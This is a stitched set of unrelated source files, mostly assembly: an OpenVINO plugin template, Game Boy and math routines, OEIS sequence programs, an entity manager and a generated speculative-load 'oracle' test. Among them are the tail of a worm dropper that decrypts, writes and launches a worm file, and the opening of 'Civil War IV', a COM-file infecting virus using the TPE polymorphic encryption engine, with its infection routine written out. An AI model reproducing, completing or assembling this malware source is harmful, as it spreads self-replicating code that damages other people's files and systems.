(Due to Hex (2Byte) -> Bin (1Byte) conversion) shr eax, 1 ; EAX/2 cmp ecx, [key_txt_size] ; Compare if current position greater than key jg finish_decrytion ; If yes, finish decrytion cmp ecx, eax ; Compare if current byte smaller than virus size js decrypt_memory_code ; If yes, continue finish_decrytion: invoke UnmapViewOfFile, \ [hMapView] invoke CloseHandle, \ [hCrFiMap] invoke CloseHandle, \ [hCreFile] invoke CreateFile, \ worm_file, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ CREATE_ALWAYS, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hWormFile], eax mov eax, [memory_counter] shr eax, 1 invoke WriteFile, \ ; Write the real worm-file [hWormFile], \ [memory_alloc], \ eax, \ FALSE_F, \ 0x0 invoke CloseHandle, \ ; Close Wormfile [hWormFile] invoke CreateProcess, \ ; Open Worm! worm_file, \ 0x0, \ 0x0, \ 0x0, \ FALSE, \ 0x0, \ 0x0, \ 0x0, \ STARTUP_struct, \ PROCESS_INFO_struct endde: invoke ExitProcess, 0x0 change_search_str: ; Changes the extention to search for mov eax, fn_ext+2 ; Pointer to 3rd byte in extention cmp byte [eax], '9' ; Is it '9'? je hex_ext_counter_9_A ; If yes, make a 'A' cmp byte [eax], 'Z' ; Is it 'Z'? je hex_ext_counter_Z_0 inc byte [eax] ; Increase extention-counter ret hex_ext_counter_9_A: ; In: eax = Pointer to byte to change ; Out: [eax]='A' mov byte [eax], 'A' ; Increase extention-counter ret hex_ext_counter_Z_0: ; My first recursive function in asm :) mov byte [eax], '0' ; Increase extention-counter dec eax cmp byte [eax], '9' je hex_ext_counter_9_A cmp byte [eax], 'Z' je hex_ext_counter_Z_0 inc byte [eax] ret FileName_To_Memory: mov ecx, 0x9 get_dot_in_filename: mov eax, WIN32_FIND_DATA.cFileName add eax, ecx cmp byte [eax], '.' je found_dot_in_filename loop get_dot_in_filename found_dot_in_filename: mov [dot_position], ecx mov esi, WIN32_FIND_DATA.cFileName ; What? Filename! mov edi, [memory_alloc] ; Where? Memory! add edi, [memory_counter] ; Where exactly? Next byte in memory rep movsb ; Write! mov ecx, [dot_position] add [memory_counter], ecx mov dword [WIN32_FIND_DATA.cFileName], 0x0 ; Anything to 0x0 because if the filename is small, mov dword [WIN32_FIND_DATA.cFileName+4], 0x0 ; the dot of the last filename still exists. mov dword [WIN32_FIND_DATA.cFileName+8], 0x0 ; (that damn bug wasted ~1h of my time :D) ; Example: "AA00BB00.001"+0x0 ; "A.002"+0x0 ; data: "A.002"+0x0+"00.001" ret hex_to_binary: ; Change a HEX-value to binary ; In: AX = HEX-value (i.E.: "0D") ; Out: AL = binary (i.E.: 0x0D) ; Nothing else changed mov [trash], ebx ; Save ebx xchg al, ah sub ax, 0x3030 ; "11"=0x3131 - make it to 0x0101 push hex2bin_not_A_F_1 cmp al, 0x9 ; If al>0x9 then decrease by 7 jg hex2bin_dec_al pop ebx hex2bin_not_A_F_1: mov ebx, eax ; Save eax mov al, ah ; AL=AH push hex2bin_not_A_F_2 cmp al, 0x9 ; If al>0x9 then decrease by 7 jg hex2bin_dec_al mov [trash2], ebx pop ebx mov ebx, [trash2] hex2bin_not_A_F_2: xchg ah, al shl ah, 4 mov al, bl or al, ah mov ebx, [trash] ; Restore ebx ret hex2bin_dec_al: sub al, 7 ret .end start
// Copyright (C) 2020 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #include <ie_metric_helpers.hpp> #include <ie_plugin_config.hpp> #include <hetero/hetero_plugin_config.hpp> #include <threading/ie_executor_manager.hpp> #include <ngraph/op/util/op_types.hpp> #include <ngraph/graph_util.hpp> #include <ngraph/pass/manager.hpp> #include <ngraph/opsets/opset.hpp> #include <transformations/common_optimizations/common_optimizations.hpp> #include <transformations/rt_info/fused_names_attribute.hpp> #include "template/template_config.hpp" #include "template_plugin.hpp" #include "template_executable_network.hpp" #include "template_infer_request.hpp" #include "template_pattern_transformation.hpp" using namespace TemplatePlugin; // ! [plugin:ctor] Plugin::Plugin() { // TODO: fill with actual device name, backend engine _pluginName = "TEMPLATE"; // create ngraph backend which performs inference using ngraph reference implementations ngraph::runtime::Backend::set_backend_shared_library_search_directory(""); _backend = ngraph::runtime::Backend::create("INTERPRETER"); // create default stream executor with a given name _waitExecutor = ExecutorManager::getInstance()->getIdleCPUStreamsExecutor({"TemplateWaitExecutor"}); } // ! [plugin:ctor] // ! [plugin:dtor] Plugin::~Plugin() { // Plugin should remove executors from executor cache to avoid threads number growth in the whole application ExecutorManager::getInstance()->clear("TemplateStreamsExecutor"); ExecutorManager::getInstance()->clear("TemplateWaitExecutor"); // NOTE: Uncomment this if Inference Engine Executor cache is used to create callback executor // ExecutorManager::getInstance()->clear("TemplateCallbackExecutor"); } // ! [plugin:dtor] // ! [plugin:transform_network] std::shared_ptr<ngraph::Function> TransformNetwork(const std::shared_ptr<const ngraph::Function>& function) { // 1. Copy ngraph::Function first to apply some transformations which modify original ngraph::Function std::vector<::ngraph::element::Type> new_types; std::vector<::ngraph::PartialShape> new_shapes; for (const auto &parameter : function->get_parameters()) { new_shapes.emplace_back(parameter->get_partial_shape()); new_types.emplace_back(parameter->get_element_type()); } auto transformedNetwork = ngraph::clone_function(*function); // 2. Perform common optimizations and device-specific transformations ngraph::pass::Manager passManager; // Example: register CommonOptimizations transformation from transformations library passManager.register_pass<ngraph::pass::CommonOptimizations>(); // Example: register plugin specific transformation passManager.register_pass<ngraph::pass::DecomposeDivideMatcher>(); passManager.register_pass<ngraph::pass::ReluReluFusionMatcher>(); // Register any other transformations // .. // After `run_passes`, we have the transformed function, where operations match device operations, // and we can create device backend-dependent graph passManager.run_passes(transformedNetwork); return transformedNetwork; } // ! [plugin:transform_network] // ! [plugin:load_exe_network_impl] InferenceEngine::ExecutableNetworkInternal::Ptr Plugin::LoadExeNetworkImpl(const InferenceEngine::ICNNNetwork & network, const ConfigMap &config) { auto cfg = Configuration{ config, _cfg }; InferenceEngine::InputsDataMap networkInputs; InferenceEngine::OutputsDataMap networkOutputs; network.getInputsInfo(networkInputs); network.getOutputsInfo(networkOutputs); // TODO: check with precisions supported by Template device for (auto networkOutput : networkOutputs) { auto output_precision = networkOutput.second->getPrecision(); if (output_precision != Precision::FP32 && output_precision != Precision::FP16) { THROW_IE_EXCEPTION << "Template device supports only FP16 and FP32 output precision."; } } for (auto networkInput : networkInputs) { auto input_precision = networkInput.second->getTensorDesc().getPrecision(); if (input_precision != InferenceEngine::Precision::FP32 && input_precision != InferenceEngine::Precision::FP16 && input_precision != InferenceEngine::Precision::I16 && input_precision != InferenceEngine::Precision::U8) { THROW_IE_EXCEPTION << "Input image format " << input_precision << " is not supported yet.\n" << "Supported formats are: FP32, FP16, I16 and U8."; } } auto function = network.getFunction(); if (function == nullptr) { THROW_IE_EXCEPTION << "TEMPLATE plugin can compile only IR v10 networks"; } return std::make_shared<ExecutableNetwork>(function, cfg, std::static_pointer_cast<Plugin>(shared_from_this())); } // ! [plugin:load_exe_network_impl] // ! [plugin:import_network_impl] InferenceEngine::ExecutableNetwork Plugin::ImportNetworkImpl(std::istream& model, const std::map<std::string, std::string>& config) { // TODO: Import network from stream is not mandatory functionality; // Can just throw an exception and remove the code below Configuration exportedCfg; // some code below which reads exportedCfg from `model` stream // .. auto cfg = Configuration(config, exportedCfg); auto exec_network_impl = std::make_shared<ExecutableNetwork>(model, cfg, std::static_pointer_cast<Plugin>(shared_from_this())); return make_executable_network(exec_network_impl); } // ! [plugin:import_network_impl] // ! [plugin:query_network] QueryNetworkResult Plugin::QueryNetwork(const ICNNNetwork &network, const ConfigMap& config) const { QueryNetworkResult res; Configuration cfg{config, _cfg, false}; auto function = network.getFunction(); if (function == nullptr) { THROW_IE_EXCEPTION << "Template Plugin supports only ngraph cnn network representation"; } // 1. First of all we should store initial input operation set std::unordered_set<std::string> originalOps; for (auto&& node : function->get_ops()) { originalOps.emplace(node->get_friendly_name()); } // 2. It is needed to apply all transformations as it is done in LoadExeNetworkImpl auto transformedFunction = TransformNetwork(function); // 3. The same input node can be transformed into supported and unsupported backend node // So we need store as supported ether unsupported node sets std::unordered_set<std::string> supported; std::unordered_set<std::string> unsupported; auto opset = ngraph::get_opset4(); for (auto&& node : transformedFunction->get_ops()) { // Extract transformation history from transformed node as list of nodes for (auto&& fusedLayerName : ngraph::getFusedNamesVector(node)) { // Filter just nodes from original operation set // TODO: fill with actual decision rules based on whether kernel is supported by backend if (contains(originalOps, fusedLayerName)) { if (opset.contains_type_insensitive(fusedLayerName)) { supported.emplace(fusedLayerName); } else { unsupported.emplace(fusedLayerName); } } } } // 4. The result set should contains just nodes from supported set for (auto&& layerName : supported) { if (!contains(unsupported, layerName)) { res.supportedLayersMap.emplace(layerName, GetName()); } } return res; } // ! [plugin:query_network] // ! [plugin:add_extension] void Plugin::AddExtension(InferenceEngine::IExtensionPtr /*extension*/) { // TODO: add extensions if plugin supports extensions THROW_IE_EXCEPTION << NOT_IMPLEMENTED_str; } // ! [plugin:add_extension] // ! [plugin:set_config] void Plugin::SetConfig(const ConfigMap &config) { _cfg = Configuration{config, _cfg}; } // ! [plugin:set_config] // ! [plugin:get_config] InferenceEngine::Parameter Plugin::GetConfig(const std::string& name, const std::map<std::string, InferenceEngine::Parameter> & /*options*/) const { return _cfg.Get(name); } // ! [plugin:get_config] // ! [plugin:get_metric] InferenceEngine::Parameter Plugin::GetMetric(const std::string& name, const std::map<std::string, InferenceEngine::Parameter> & options) const { if (METRIC_KEY(SUPPORTED_METRICS) == name) { std::vector<std::string> supportedMetrics = { METRIC_KEY(AVAILABLE_DEVICES), METRIC_KEY(SUPPORTED_METRICS), METRIC_KEY(SUPPORTED_CONFIG_KEYS), METRIC_KEY(FULL_DEVICE_NAME), METRIC_KEY(OPTIMIZATION_CAPABILITIES), METRIC_KEY(RANGE_FOR_ASYNC_INFER_REQUESTS) }; IE_SET_METRIC_RETURN(SUPPORTED_METRICS, supportedMetrics); } else if (METRIC_KEY(SUPPORTED_CONFIG_KEYS) == name) { std::vector<std::string> configKeys = { CONFIG_KEY(DEVICE_ID), CONFIG_KEY(PERF_COUNT), TEMPLATE_CONFIG_KEY(THROUGHPUT_STREAMS)}; auto streamExecutorConfigKeys = IStreamsExecutor::Config{}.SupportedKeys(); for (auto&& configKey : streamExecutorConfigKeys) { if (configKey != InferenceEngine::PluginConfigParams::KEY_CPU_THROUGHPUT_STREAMS) { configKeys.emplace_back(configKey); } } IE_SET_METRIC_RETURN(SUPPORTED_CONFIG_KEYS, configKeys); } else if (METRIC_KEY(AVAILABLE_DEVICES) == name) { // TODO: fill list of available devices std::vector<std::string> availableDevices = { "" }; IE_SET_METRIC_RETURN(AVAILABLE_DEVICES, availableDevices); } else if (METRIC_KEY(FULL_DEVICE_NAME) == name) { std::string name = "Template Device Full Name"; IE_SET_METRIC_RETURN(FULL_DEVICE_NAME, name); } else if (METRIC_KEY(OPTIMIZATION_CAPABILITIES) == name) { // TODO: fill actual list of supported capabilities: e.g. Template device supports only FP32 std::vector<std::string> capabilities = { METRIC_VALUE(FP32) /*, TEMPLATE_METRIC_VALUE(HARDWARE_CONVOLUTION)*/ }; IE_SET_METRIC_RETURN(OPTIMIZATION_CAPABILITIES, capabilities); } else if (METRIC_KEY(RANGE_FOR_ASYNC_INFER_REQUESTS) == name) { // TODO: fill with actual values using uint = unsigned int; IE_SET_METRIC_RETURN(RANGE_FOR_ASYNC_INFER_REQUESTS, std::make_tuple(uint{1}, uint{1}, uint{1})); } else { THROW_IE_EXCEPTION << "Unsupported device metric: " << name; } } // ! [plugin:get_metric] // ! [plugin:create_plugin_engine] static const Version version = {{2, 1}, CI_BUILD_NUMBER, "templatePlugin"}; IE_DEFINE_PLUGIN_CREATE_FUNCTION(Plugin, version) // ! [plugin:create_plugin_engine]
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 80 .text@150 lbegin: ld c, 41 ld b, 02 ld d, 03 lbegin_waitm2: ldff a, (c) and a, d cmp a, b jrnz lbegin_waitm2 ld a, 08 ldff(c), a xor a, a ldff(0f), a ld a, 02 ldff(ff), a ei ld c, 0f .text@1000 lstatint: nop .text@1066 xor a, a ldff(41), a nop nop nop nop nop nop nop ldff a, (c) and a, 03 jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
;----------------------------------------------------------------------------- ; sinh.asm - floating point hyperbolic sine ; Ported from Al Maromaty's free C Runtime Library ;----------------------------------------------------------------------------- SECTION .text global sinh global _sinh global __CIsinh sinh: _sinh: push ebp mov ebp,esp sub esp,8 ; Allocate temporary space fld qword [ebp+8] ; Load real from stack fchs ; Set x = -x fldl2e ; Load log base 2(e) fmulp st1,st0 ; Multiply x * log base 2(e) fst st1 ; Push result frndint ; Round to integer fsub st1,st0 ; Subtract fxch ; Exchange st, st(1) f2xm1 ; Compute 2 to the (x - 1) fld1 ; Load real number 1 fadd ; 2 to the x fscale ; Scale by power of 2 fstp st1 ; Set new stack top and pop fstp qword [ebp-8] ; Save exp(-x) fld qword [ebp+8] ; Load real from stack fldl2e ; Load log base 2(e) fmulp st1,st0 ; Multiply x * log base 2(e) fst st1 ; Push result frndint ; Round to integer fsub st1,st0 ; Subtract fxch ; Exchange st, st(1) f2xm1 ; Compute 2 to the (x - 1) fld1 ; Load real number 1 fadd ; 2 to the x fscale ; Compute exp(-x) fstp st1 ; Set new stack top and pop fld qword [ebp-8] ; Get exp(x) fsub ; Compute exp(x) - exp(-x) fld1 ; Load the constant 1 fld1 ; Load the constant 1 fadd ; Set divisor to 2 fdiv ; Compute the hyperbolic sine mov esp,ebp ; Deallocate temporary space pop ebp ret __CIsinh: sub esp,8 ; Allocate stack space for x fstp qword [esp] ; Copy x onto stack call _sinh ; Call sinh add esp,8 ; Remove x from stack ret
; A202254: Number of zero-sum -n..n arrays of 4 elements with adjacent element differences also in -n..n. ; 7,31,81,171,309,509,779,1133,1579,2131,2797,3591,4521,5601,6839,8249,9839,11623,13609,15811,18237,20901,23811,26981,30419,34139,38149,42463,47089,52041,57327,62961,68951,75311,82049,89179,96709,104653,113019,121821,131067,140771,150941,161591,172729,184369,196519,209193,222399,236151,250457,265331,280781,296821,313459,330709,348579,367083,386229,406031,426497,447641,469471,492001,515239,539199,563889,589323,615509,642461,670187,698701,728011,758131,789069,820839,853449,886913,921239,956441,992527,1029511,1067401,1106211,1145949,1186629,1228259,1270853,1314419,1358971,1404517,1451071,1498641,1547241,1596879,1647569,1699319,1752143,1806049,1861051 mov $2,$0 div $2,2 mov $4,$0 seq $0,212983 ; Number of (w,x,y) with all terms in {0,...,n} and w<=x+y and x<=y. sub $2,24 sub $0,$2 add $0,1 mul $0,2 sub $0,45 mov $3,$4 mov $5,$4 mul $5,10 add $0,$5 mul $3,$4 mov $5,$3 mul $5,5 add $0,$5 mul $3,$4 add $0,$3
#include "Entity.h" #include <assert.h> namespace nsge { EntityManager::EntityManager() { for (Entity entt = 0; entt < m_MaxEntities; entt++) { m_AvailableEntitys.push(entt); } } Entity EntityManager::createEntity() { assert(m_LivingEnttCount < m_MaxEntities && "Entity count exceded"); Entity id = m_AvailableEntitys.front(); // take next available ID m_AvailableEntitys.pop(); // we are using this ID so pop it m_CurrentEntities.push_back(id); ++m_LivingEnttCount; return id; } void EntityManager::destroyEntity(Entity entt) { assert(entt < m_MaxEntities && "Attempted to destroy non-existent Entity"); m_Signatures[entt].reset(); // reset the signature m_AvailableEntitys.push(entt); // this ID can be reused now that it has been destroyed m_CurrentEntities.remove(entt); --m_LivingEnttCount; // decrease the amount of living entities } void EntityManager::setSignature(Entity entt, Signature sig) { assert(entt < m_MaxEntities && "Setting entity signature out of range"); m_Signatures[entt] = sig; } Signature EntityManager::getSignature(Entity entt) const { assert(entt < m_MaxEntities && "Entity out of range"); return m_Signatures [entt]; } }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x15daf, %r15 nop xor $1847, %rax vmovups (%r15), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r8 nop xor %r11, %r11 lea addresses_normal_ht+0x18faf, %rbp clflush (%rbp) add %rcx, %rcx movl $0x61626364, (%rbp) nop nop nop nop add $33972, %r8 lea addresses_A_ht+0x7aef, %rsi lea addresses_WC_ht+0x98ef, %rdi nop nop nop nop and %r15, %r15 mov $92, %rcx rep movsl nop nop nop nop nop inc %r15 lea addresses_normal_ht+0x115af, %r8 nop nop nop nop and $36526, %rdi movups (%r8), %xmm3 vpextrq $1, %xmm3, %rbp nop nop nop dec %rsi lea addresses_WT_ht+0x1112f, %rsi lea addresses_D_ht+0x33af, %rdi add %r15, %r15 mov $0, %rcx rep movsb nop nop nop xor %rbp, %rbp lea addresses_normal_ht+0x19ed7, %rsi lea addresses_WC_ht+0x15d2f, %rdi nop nop nop nop add %rax, %rax mov $73, %rcx rep movsw nop nop nop inc %r11 lea addresses_normal_ht+0x3daf, %rsi nop nop nop nop dec %rdi mov (%rsi), %ecx nop nop nop inc %rcx lea addresses_WT_ht+0x125af, %rsi lea addresses_D_ht+0xbb6f, %rdi nop inc %r15 mov $2, %rcx rep movsb nop xor %rbp, %rbp lea addresses_D_ht+0x52cf, %rsi lea addresses_A_ht+0xb9db, %rdi nop nop sub %r15, %r15 mov $121, %rcx rep movsq nop nop nop nop nop add %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r8 push %r9 push %rcx push %rdx // Faulty Load lea addresses_normal+0x1bdaf, %r13 nop cmp %rcx, %rcx mov (%r13), %r9 lea oracles, %rcx and $0xff, %r9 shlq $12, %r9 mov (%rcx,%r9,1), %r9 pop %rdx pop %rcx pop %r9 pop %r8 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
; A025809: Expansion of 1/((1-x^2)(1-x^5)(1-x^9)). ; 1,0,1,0,1,1,1,1,1,2,2,2,2,2,3,3,3,3,4,4,5,4,5,5,6,6,6,7,7,8,8,8,9,9,10,10,11,11,12,12,13,13,14,14,15,16,16,17,17,18,19,19,20,20,22,22,23,23,24,25,26,26,27,28,29,30 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 cal $0,29014 ; Expansion of 1/((1-x)(1-x^2)(1-x^5)(1-x^9)). mov $2,$3 mov $4,$0 lpb $2 mov $1,$4 sub $2,1 lpe lpe lpb $5 sub $1,$4 mov $5,0 lpe
%include "../UltimaPatcher.asm" %include "include/uw2.asm" %include "include/uw2-eop.asm" %include "../uw1/eop-setupPerspectiveAndEnqueueDraw.asm"
SECTION code_fp_math32 PUBLIC modf_callee EXTERN cm32_sccz80_modf_callee defc modf_callee = cm32_sccz80_modf_callee IF __CLASSIC ; SDCC bridge for Classic PUBLIC _modf_callee EXTERN cm32_sdcc_modf_callee defc _modf_callee = cm32_sdcc_modf_callee ENDIF
; void *w_vector_pop_back(w_vector_t *v) SECTION code_clib SECTION code_adt_w_vector PUBLIC w_vector_pop_back EXTERN asm_w_vector_pop_back defc w_vector_pop_back = asm_w_vector_pop_back
; A004120: Expansion of (1 + x - x^5) / (1 - x)^3. ; 1,4,9,16,25,35,46,58,71,85,100,116,133,151,170,190,211,233,256,280,305,331,358,386,415,445,476,508,541,575,610,646,683,721,760,800,841,883,926,970,1015,1061,1108,1156,1205,1255,1306,1358,1411,1465,1520,1576,1633,1691,1750,1810,1871,1933,1996,2060,2125,2191,2258,2326,2395,2465,2536,2608,2681,2755,2830,2906,2983,3061,3140,3220,3301,3383,3466,3550,3635,3721,3808,3896,3985,4075,4166,4258,4351,4445,4540,4636,4733,4831,4930,5030,5131,5233,5336,5440 mov $2,$0 lpb $2 add $0,4 add $0,$2 add $1,$0 div $1,2 sub $2,1 lpe add $1,1 mov $0,$1
;**************************************************************************** ;* Civil War IV * ;* * ;* Assembled with Tasm 2.5 * ;* * ;* (c) Jan '93 Dark Helmet, The Netherlands. * ;* The author takes no responsibilty for any damages caused by the virus * ;* * ;* Example virus with the TPE engine (TPE version 1.3). * ;* Use : TASM CIVIL_4A * ;* TLINK CIVIL_4A TPE * ;* * ;*--------------------------------------------------------------------------* ;* * ;* This virus is NOT dedicated to Sara Gordon, but to all the innocent * ;* people who are killed in Yugoslavia. * ;* * ;* The text in the virus is taken from the song Civil War (hence the name) * ;* of Guns and Roses, Use Your Illusion II, we hope they don't mind it. * ;* * ;* The first name for the virus was NAVIGATOR II, because the virus is * ;* based on the NAVIGATOR virus (also written by me, a while back), but * ;* since I decided to put the songtext in it I renamed it to Civil War IV * ;* * ;**************************************************************************** .model tiny .radix 16 .code extrn rnd_init:near extrn rnd_get:near extrn crypt:near extrn tpe_top:near org 100h len equ offset tpe_top - begin Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h Begin: call virus ; calculate delta offset Virus: pop bp sub bp,offset virus mov dx,0fe00h ; DTA instellen mov ah,1ah int 21h Restore_begin: call rnd_init ; init random generator mov di,0100h lea si,ds:[buffer+bp] mov cx,06h rep movsb First: lea dx,[com_mask+bp] ;get first COM file mov ah,04eh xor cx,cx int 21h Open_file: mov ax,03d02h ;open for READ/WRITE mov dx,0fe1eh int 21h mov [handle+bp],ax xchg ax,bx Read_date: mov ax,05700h ;store date/time for later int 21h ;use mov [date+bp],dx mov [time+bp],cx Check_infect: mov bx,[handle+bp] ;check if initials present in mov ah,03fh ;file mov cx,06h lea dx,[buffer+bp] int 21h mov al,byte ptr [buffer+bp]+3 ;Compare initials mov ah,byte ptr [buffer+bp]+4 cmp ax,[initials+bp] jne infect_file ;if initials not present ;start infecting file Close_file: mov bx,[handle+bp] ;close file mov ah,3eh int 21h Next_file: mov ah,4fh ;get next COM file int 21h ;in directorie jnb open_file jmp exit Infect_file: mov ax,word ptr [cs:0fe1ah] ;get lenght of file sub ax,03h mov [lenght+bp],ax mov ax,04200h ;goto begin of file call move_pointer Write_jump: mov ah,40h ;Write JUMP intruction mov cx,01h lea dx,[jump+bp] int 21h mov ah,40h ;Write JUMP offset mov cx,02h lea dx,[lenght+bp] int 21h mov ah,40 ;Write initials to check mov cx,02h ;for infection later lea dx,[initials+bp] int 21h mov ax,4202h ; move to end of file call move_pointer ; for infection ;***************************************************************************** ; T P E * ;***************************************************************************** Encrypt: push bp ; BP = delta offset ; push delta offset on stack ; for later use. mov ax,cs ; Calculate worksegment add ax,01000h mov es,ax ; ES point to decrypt virus lea dx,[begin+bp] ; DS:DX begin encryption mov cx,len ; virus lenght mov bp,[lenght+bp] ; decryption starts at this add bp,103h ; point xor si,si ; distance between decryptor ; and encrypted code is 0 bytes call rnd_get ; AX = random value call crypt ; 